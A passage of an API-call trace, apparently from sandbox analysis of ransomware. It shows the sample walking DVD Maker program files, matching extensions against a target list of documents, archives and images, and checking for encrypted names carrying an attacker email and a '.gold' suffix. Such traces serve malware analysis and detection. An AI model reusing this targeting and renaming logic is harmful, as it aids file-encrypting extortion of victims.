(lpString1=".dbf", lpString2=".png") returned -1 [0043.937] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.937] lstrlenW (lpString=".1cd") returned 4 [0043.937] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.937] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.937] lstrlenW (lpString=".jpg") returned 4 [0043.937] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.937] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.938] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.938] lstrlenW (lpString=".doc") returned 4 [0043.938] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.938] lstrlenW (lpString=".docx") returned 5 [0043.938] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0043.938] lstrlenW (lpString=".pdf") returned 4 [0043.938] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.938] lstrlenW (lpString=".xls") returned 4 [0043.938] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.938] lstrlenW (lpString=".xlsx") returned 5 [0043.938] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0043.938] lstrlenW (lpString=".ppt") returned 4 [0043.938] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.938] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.938] lstrlenW (lpString=".zip") returned 4 [0043.938] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.938] lstrlenW (lpString=".rar") returned 4 [0043.938] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.938] lstrlenW (lpString=".bz2") returned 4 [0043.938] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.938] lstrlenW (lpString=".7z") returned 3 [0043.938] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.938] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.938] lstrlenW (lpString=".dbf") returned 4 [0043.938] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.938] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.938] lstrlenW (lpString=".1cd") returned 4 [0043.938] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.938] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.938] lstrlenW (lpString=".jpg") returned 4 [0043.938] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.938] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0043.938] lstrlenW (lpString="DissolveNoise.png") returned 17 [0043.938] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.938] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=751669) returned 1 [0043.939] CloseHandle (hObject=0x178) returned 1 [0043.939] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0043.939] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.939] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.939] lstrlenW (lpString=".doc") returned 4 [0043.939] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.939] lstrlenW (lpString=".docx") returned 5 [0043.939] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0043.939] lstrlenW (lpString=".pdf") returned 4 [0043.939] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.939] lstrlenW (lpString=".xls") returned 4 [0043.939] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.939] lstrlenW (lpString=".xlsx") returned 5 [0043.939] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0043.939] lstrlenW (lpString=".ppt") returned 4 [0043.939] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.939] lstrlenW (lpString=".zip") returned 4 [0043.939] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.939] lstrlenW (lpString=".rar") returned 4 [0043.939] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.939] lstrlenW (lpString=".bz2") returned 4 [0043.939] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.939] lstrlenW (lpString=".7z") returned 3 [0043.939] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.939] lstrlenW (lpString=".dbf") returned 4 [0043.939] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.939] lstrlenW (lpString=".1cd") returned 4 [0043.939] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.939] lstrlenW (lpString=".jpg") returned 4 [0043.939] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.940] lstrlenW (lpString=".doc") returned 4 [0043.940] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.940] lstrlenW (lpString=".docx") returned 5 [0043.940] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0043.940] lstrlenW (lpString=".pdf") returned 4 [0043.940] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.940] lstrlenW (lpString=".xls") returned 4 [0043.940] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.940] lstrlenW (lpString=".xlsx") returned 5 [0043.940] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0043.940] lstrlenW (lpString=".ppt") returned 4 [0043.940] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.940] lstrlenW (lpString=".zip") returned 4 [0043.940] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.940] lstrlenW (lpString=".rar") returned 4 [0043.940] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.940] lstrlenW (lpString=".bz2") returned 4 [0043.940] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.940] lstrlenW (lpString=".7z") returned 3 [0043.940] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.940] lstrlenW (lpString=".dbf") returned 4 [0043.940] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.940] lstrlenW (lpString=".1cd") returned 4 [0043.940] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0043.940] lstrlenW (lpString=".jpg") returned 4 [0043.940] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.940] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0043.940] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0043.940] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.941] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=10123) returned 1 [0043.941] CloseHandle (hObject=0x178) returned 1 [0043.941] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0043.941] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.941] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.942] lstrlenW (lpString=".doc") returned 4 [0043.942] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.942] lstrlenW (lpString=".docx") returned 5 [0043.942] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0043.942] lstrlenW (lpString=".pdf") returned 4 [0043.942] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.942] lstrlenW (lpString=".xls") returned 4 [0043.942] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.942] lstrlenW (lpString=".xlsx") returned 5 [0043.942] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0043.942] lstrlenW (lpString=".ppt") returned 4 [0043.942] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.942] lstrlenW (lpString=".zip") returned 4 [0043.942] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.942] lstrlenW (lpString=".rar") returned 4 [0043.942] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.942] lstrlenW (lpString=".bz2") returned 4 [0043.942] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.942] lstrlenW (lpString=".7z") returned 3 [0043.942] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.942] lstrlenW (lpString=".dbf") returned 4 [0043.942] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.942] lstrlenW (lpString=".1cd") returned 4 [0043.942] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.942] lstrlenW (lpString=".jpg") returned 4 [0043.942] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.942] lstrlenW (lpString=".doc") returned 4 [0043.942] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.942] lstrlenW (lpString=".docx") returned 5 [0043.942] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0043.942] lstrlenW (lpString=".pdf") returned 4 [0043.942] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.942] lstrlenW (lpString=".xls") returned 4 [0043.942] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.943] lstrlenW (lpString=".xlsx") returned 5 [0043.943] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0043.943] lstrlenW (lpString=".ppt") returned 4 [0043.943] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.943] lstrlenW (lpString=".zip") returned 4 [0043.943] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.943] lstrlenW (lpString=".rar") returned 4 [0043.943] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.943] lstrlenW (lpString=".bz2") returned 4 [0043.943] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.943] lstrlenW (lpString=".7z") returned 3 [0043.943] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.943] lstrlenW (lpString=".dbf") returned 4 [0043.943] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.943] lstrlenW (lpString=".1cd") returned 4 [0043.943] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0043.943] lstrlenW (lpString=".jpg") returned 4 [0043.943] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.943] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0043.943] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0043.943] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.943] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3286) returned 1 [0043.943] CloseHandle (hObject=0x178) returned 1 [0043.943] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0043.943] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.944] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.944] lstrlenW (lpString=".doc") returned 4 [0043.944] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.944] lstrlenW (lpString=".docx") returned 5 [0043.944] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0043.944] lstrlenW (lpString=".pdf") returned 4 [0043.944] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.944] lstrlenW (lpString=".xls") returned 4 [0043.944] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.944] lstrlenW (lpString=".xlsx") returned 5 [0043.944] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0043.944] lstrlenW (lpString=".ppt") returned 4 [0043.944] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.944] lstrlenW (lpString=".zip") returned 4 [0043.944] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.944] lstrlenW (lpString=".rar") returned 4 [0043.944] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.944] lstrlenW (lpString=".bz2") returned 4 [0043.944] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.944] lstrlenW (lpString=".7z") returned 3 [0043.944] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.944] lstrlenW (lpString=".dbf") returned 4 [0043.944] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.944] lstrlenW (lpString=".1cd") returned 4 [0043.944] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.944] lstrlenW (lpString=".jpg") returned 4 [0043.944] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.944] lstrlenW (lpString=".doc") returned 4 [0043.944] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.944] lstrlenW (lpString=".docx") returned 5 [0043.944] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0043.944] lstrlenW (lpString=".pdf") returned 4 [0043.944] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.945] lstrlenW (lpString=".xls") returned 4 [0043.945] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.945] lstrlenW (lpString=".xlsx") returned 5 [0043.945] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0043.945] lstrlenW (lpString=".ppt") returned 4 [0043.945] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.945] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.945] lstrlenW (lpString=".zip") returned 4 [0043.945] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.945] lstrlenW (lpString=".rar") returned 4 [0043.945] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.945] lstrlenW (lpString=".bz2") returned 4 [0043.945] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.945] lstrlenW (lpString=".7z") returned 3 [0043.945] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.945] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.945] lstrlenW (lpString=".dbf") returned 4 [0043.945] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.945] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.945] lstrlenW (lpString=".1cd") returned 4 [0043.945] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.945] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0043.945] lstrlenW (lpString=".jpg") returned 4 [0043.945] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.945] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0043.945] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0043.945] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.946] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3316) returned 1 [0043.946] CloseHandle (hObject=0x178) returned 1 [0043.946] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0043.946] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.946] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.946] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.946] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.946] lstrlenW (lpString=".doc") returned 4 [0043.946] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.946] lstrlenW (lpString=".docx") returned 5 [0043.946] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0043.946] lstrlenW (lpString=".pdf") returned 4 [0043.946] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.946] lstrlenW (lpString=".xls") returned 4 [0043.946] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.946] lstrlenW (lpString=".xlsx") returned 5 [0043.946] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0043.946] lstrlenW (lpString=".ppt") returned 4 [0043.946] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.946] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.946] lstrlenW (lpString=".zip") returned 4 [0043.946] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.946] lstrlenW (lpString=".rar") returned 4 [0043.947] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.947] lstrlenW (lpString=".bz2") returned 4 [0043.947] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString=".7z") returned 3 [0043.947] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString=".dbf") returned 4 [0043.947] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString=".1cd") returned 4 [0043.947] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString=".jpg") returned 4 [0043.947] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString=".doc") returned 4 [0043.947] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString=".docx") returned 5 [0043.947] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0043.947] lstrlenW (lpString=".pdf") returned 4 [0043.947] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString=".xls") returned 4 [0043.947] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.947] lstrlenW (lpString=".xlsx") returned 5 [0043.947] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0043.947] lstrlenW (lpString=".ppt") returned 4 [0043.947] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString=".zip") returned 4 [0043.947] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.947] lstrlenW (lpString=".rar") returned 4 [0043.947] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.947] lstrlenW (lpString=".bz2") returned 4 [0043.947] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString=".7z") returned 3 [0043.947] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString=".dbf") returned 4 [0043.947] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString=".1cd") returned 4 [0043.947] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0043.947] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0043.947] lstrlenW (lpString=".jpg") returned 4 [0043.948] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0043.948] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0043.948] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0043.948] CreateFileW (lpFileName="C:\\Program Files\\DVD 